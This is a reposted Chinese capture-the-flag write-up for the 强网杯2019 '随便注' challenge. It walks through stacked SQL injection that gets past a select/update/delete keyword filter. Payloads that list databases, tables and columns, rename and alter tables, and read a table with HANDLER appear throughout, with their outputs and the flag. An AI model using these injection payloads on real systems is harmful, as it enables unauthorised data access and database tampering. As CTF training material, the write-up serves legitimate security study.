过滤select|update|delete|drop|insert|where的注入 [强网杯2019]随便注

转载

lonmar~ 于 2020-04-08 15:40:15 发布

分类专栏： CTF web漏洞

原文链接：https://adworld.xctf.org.cn/task/writeup?type=web&id=5417&number=3&grade=1&page=1

CTF

CTF 同时被 2 个专栏收录

20 篇文章 2 订阅

订阅专栏

web漏洞

15 篇文章 0 订阅

订阅专栏

方案一

> 转载于 攻防世界WP https://adworld.xctf.org.cn/task/writeup?type=web&id=5417&number=3&grade=1&page=1

> 题目链接https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1

- **侵权请联系删除**

先添加一个单引号，报错，错误信息如下：

```
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server vers
ion for the right syntax to use near ''1''' at line 1
```

接着测试–+注释，发现被过滤，然后使用#注释，可行 用order by语句判断出有两个字段，接着使用union select 爆字段，发现这个时候出现了如下提示：

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

发现上面的关键字都被过滤不能使用了，没法进行注入，这个时候尝试一下堆叠注入

现在回到这道题，利用堆叠注入，查询所有数据库：

```
1';show databases;#
```

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```


查询所有表:

```
1';show tables;#
```

姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```

查询words表中所有列:

```
1';show columns from words;#
```

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

查询1919810931114514表中所有列

```
1';show columns from `1919810931114514`;#       (字符串为表名操作时要加反引号)
```

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表，因为查询出的结果是一个数字加一个字符串，words表结构是id和data，传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert，所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1，再将数字名表改为words，这样数字名表就是默认查询的表了，但是它少了一个id列，可以将flag字段改为id，或者添加id字段

```
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
```

这段代码的意思是将words表名改为words1，1919810931114514表名改为words，将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag

姿势: 1 提交

```
array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
```


方案2

```
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
```

姿势: 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
```


---

mysql查询语句-handler

https://blog.csdn.net/JesseYoung/article/details/40785137?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1